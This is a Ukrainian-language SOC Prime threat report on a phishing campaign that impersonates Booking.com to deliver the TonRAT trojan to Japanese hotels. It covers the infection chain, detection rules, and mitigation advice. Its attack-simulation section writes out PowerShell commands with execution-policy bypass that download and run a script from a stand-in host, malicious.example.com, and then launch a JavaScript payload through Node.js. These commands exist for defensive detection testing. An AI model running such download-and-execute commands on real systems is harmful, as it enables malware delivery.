SOC Prime Bias: Середній

12 Jun 2026 06:16 UTC

Аналіз підозрілих електронних листів, спрямованих на готельну індустрію

Author Photo
SOC Prime Team linkedin icon Стежити
Аналіз підозрілих електронних листів, спрямованих на готельну індустрію
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Резюме

Кампанія фішингу, що видає себе за Booking.com, націлилась на операторів готелів в Японії через інфраструктуру, розміщену на Calendly і SendGrid. Електронний лист містив скорочене посилання, яке вело до ZIP-архіву з шкідливим ярликом LNK, який запускав завантажувач на базі PowerShell. Цей завантажувач отримував додаткові скрипти PowerShell, дешифрував JavaScript-компонент, ідентифікований як TonRAT, завантажував Node.js і виконував його. Після цього шкідливе ПЗ встановлювало управління через WebSocket з’єднання, отримане через API TON.

Розслідування

Звіт містить аналіз заголовків електронної пошти, зловживання легітимними службами доставки та повний ланцюжок багатоступеневої атаки, використаної в нападі. Він надає хеші файлів ZIP-архіву та його внутрішніх компонентів і перераховує домени командного управління, виявлені під час аналізу. Розслідування також включає технічні деталі щодо шкідливого файлу LNK і команд PowerShell, використаних для розвитку зараження.

Пом’якшення

Захисники повинні блокувати підозрілі короткі посилання Calendly, ретельно перевіряти домени відправників і обмежувати виконання LNK-вкладень, доставлених через електронну пошту. Моніторинг також повинен включати несанкціоновану активність PowerShell і непередбачені двійкові файли Node.js, що з’являються на кінцевих точках. Фільтрація URL може допомогти заблокувати доступ до відомих шкідливих доменів, залучених у кампанію.

Відповідь

Команди безпеки повинні створити виявлення для команд PowerShell, які завантажують вміст з визначених доменів командного управління, і для виконання node.exe з незвичних місць. Алерти повинні бути налаштовані також для потоків електронної пошти, що використовують заголовки від SendGrid з ненадійних або несподіваних джерел. Слід розслідувати, повинні збирати скинуті файли та зберігати мережевий трафік, пов’язаний з виявленими WebSocket-комунікаціями.

"graph TB %% Опис Класів classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#cccccc %% Вузли action_phishing["<b>Дія</b> – <b>T1566.002 Фішинг за посиланням</b><br/>Фішинговий електронний лист із шкідливим посиланням Calendly надіслано жертві."] class action_phishing action action_user_click["<b>Дія</b> – <b>T1204.001 Виконання користувачем: Шкідливе посилання</b><br/>Жертва клацає на шкідливе посилання Calendly, через що браузер завантажує ZIP-архів."] class action_user_click action action_download_zip["<b>Дія</b> – Завантаження ZIP<br/>ZIP-архів містить ярлик (.lnk) та фіктивний MP4-файл."] class action_download_zip action action_open_shortcut["<b>Дія</b> – <b>T1547.009 Модифікація ярлика</b><br/>Жертва відкриває ярлик .lnk, що виконує команду PowerShell."] class action_open_shortcut action tool_powershell["<b>Інструмент</b> – PowerShell<br/><b>Мета</b>: Виконання команд та завантаження додаткових компонентів."] class tool_powershell tool action_download_script["<b>Дія</b> – <b>T1105 Трансфер інструменту Ingress</b><br/>PowerShell завантажує додатковий скрипт з віддаленого сервера."] class action_download_script action action_download_js["<b>Дія</b> – <b>T1027.009 Вбудовані компоненти</b><br/>PowerShell також завантажує зашифрований JavaScript-компонент."] class action_download_js action action_download_node["<b>Дія</b> – Завантажити Node.js Runtime<br/>Node.js runtime завантажується і використовується для запуску наступного етапу."] class action_download_node process malware_tonrat["<b>Шкідливе ПЗ</b> – TonRAT<br/>Троянець для віддаленого доступу на базі JavaScript виконаний за допомогою Node.js."] class malware_tonrat malware action_dynamic_resolution["<b>Дія</b> – <b>T1568 Динамічна розв’u044f’язка</b><br/>TonRAT запитує API TON для розв’u044f’язання доменів командування та управління в реальному часі."] class action_dynamic_resolution action action_c2["<b>Дія</b> – <b>T1071.001 Протокол прикладного рівня: Веб-протоколи</b><br/>Встановлює канал WebSocket для комунікацій C2."] class action_c2 action %% З’єднання action_phishing –>|призводить до| action_user_click action_user_click –>|тригерить| action_download_zip action_download_zip –>|містить| action_open_shortcut action_open_shortcut –>|виконує| tool_powershell tool_powershell –>|використовує| action_download_script tool_powershell –>|використовує| action_download_js action_download_script –>|надає| action_download_node action_download_js –>|надає| action_download_node action_download_node –>|запускає| malware_tonrat malware_tonrat –>|виконує| action_dynamic_resolution action_dynamic_resolution –>|включає| action_c2 "

Потік атаки

Виявлення

Підозрілі команди і управління за допомогою незвичайного домену верхнього рівня (TLD) через DNS-запит

Команда SOC Prime
11 червня 2026 року

Можливий шкідливий файл LNK з подвійним розширенням (через cmdline)

Команда SOC Prime
11 червня 2026 року

Можливість виконання прихованих команд PowerShell (через cmdline)

Команда SOC Prime
11 червня 2026 року

PowerShell виконує файл у підозрілому каталозі, використовуючи політику обходу виконання (через cmdline)

Команда SOC Prime
11 червня 2026 року

Можливі індикатори обфускації PowerShell (через powershell)

Команда SOC Prime
11 червня 2026 року

Індикатори компрометації (SourceIP) для виявлення: Аналіз підозрілих електронних листів, спрямованих на готельну індустрію (Частина 1: Огляд кампанії)

Правила AI SOC Prime
11 червня 2026 року

Індикатори компрометації (DestinationIP) для виявлення: Аналіз підозрілих електронних листів, спрямованих на готельну індустрію (Частина 1: Огляд кампанії)

Правила AI SOC Prime
11 червня 2026 року

Виявлення фішингових електронних листів, що видають себе за Booking.com через Calendly [Електронна пошта]

Правила AI SOC Prime
11 червня 2026 року

Виявлення розгортання TonRAT через PowerShell і Node.js Runtime [Windows Powershell]

Правила AI SOC Prime
11 червня 2026 року

Імітаційне виконання

Передумова: Телеметрія та початкове перевірка бази повинні бути пройдені.

Пояснення: У цьому розділі детально описується точне виконання техніки супротивника (TTP), призначеної для запуску правила виявлення. Команди та наративи МАЮТЬ прямо відображати визначені TTP та мають на меті згенерувати саме ту телеметрію, яку очікує логіка виявлення.

  • Наратив атаки та команди:

    1. Первинний доступ – Завантаження через PowerShell
      Атакуючий отримує віддалену сесію PowerShell на скомпрометованому хості і використовує Invoke-WebRequest щоб витягнути завантажувальний скрипт TonRAT з шкідливого сервера C2. Цей крок задовольняє Invoke-WebRequest відповідність рядка.

      powershell -NoProfile -ExecutionPolicy Bypass -Command ^
        "Invoke-WebRequest -Uri http://malicious.example.com/tonrat.ps1 -OutFile $env:TEMPtonrat.ps1"
    2. Виконання завантажувача
      Завантажений скрипт виконується, що в свою чергу спонукає другий процес PowerShell запускати додаткові команди (все ще містить слово “PowerShell”).

      powershell -NoProfile -ExecutionPolicy Bypass -File $env:TEMPtonrat.ps1
    3. Виконання компонента Node.js
      TonRAT скидає шкідливий JavaScript-файл (malicious.js), одночасно запускуючи його за допомогою Node.js runtime (node.exe). Це генерує node.exe відповідність рядка.

      # Передбачимо, що скрипт вже розмістив malicious.js в C:Temp
      C:Program Filesnodejsnode.exe C:Tempmalicious.js

    Три процеси створення (PowerShell з Invoke-WebRequest, PowerShell, який виконує завантажувач, та node.exe) разом задовольняють умови правила виявлення.

  • Скрипт регресійного тестування:

    #-------------------------------------------------
    # Імітація розгортання TonRAT – запускає Sigma правило
    #-------------------------------------------------
    $tempDir = "$env:TEMPtonrat_demo"
    New-Item -ItemType Directory -Path $tempDir -Force | Out-Null
    
    # 1. Завантажити фейковий завантажувач (імітується простим echo)
    $loaderUrl = "http://malicious.example.com/tonrat.ps1"
    $loaderPath = "$tempDirtonrat.ps1"
    Invoke-WebRequest -Uri $loaderUrl -OutFile $loaderPath -UseBasicParsing
    
    # 2. Виконати завантажувач (завантажувач просто створює фіктивний js файл)
    powershell -NoProfile -ExecutionPolicy Bypass -File $loaderPath
    
    # 3. Створити фіктивний JavaScript-компонент
    $jsPath = "C:Tempmalicious.js"
    Set-Content -Path $jsPath -Value "console.log('Malicious payload executed');"
    
    # 4. Запустити компонент за допомогою Node.js
    $nodePath = "C:Program Filesnodejsnode.exe"
    & $nodePath $jsPath
    #-------------------------------------------------
  • Команди очистки:

    # Видалити всі артефакти, створені імітацією
    Remove-Item -Path "$env:TEMPtonrat_demo" -Recurse -Force
    Remove-Item -Path "C:Tempmalicious.js" -Force
    # За потреби, закрити всі залишкові процеси PowerShell/Node (якщо потрібно)
    Get-Process -Name "powershell","node" -ErrorAction SilentlyContinue | Stop-Process -Force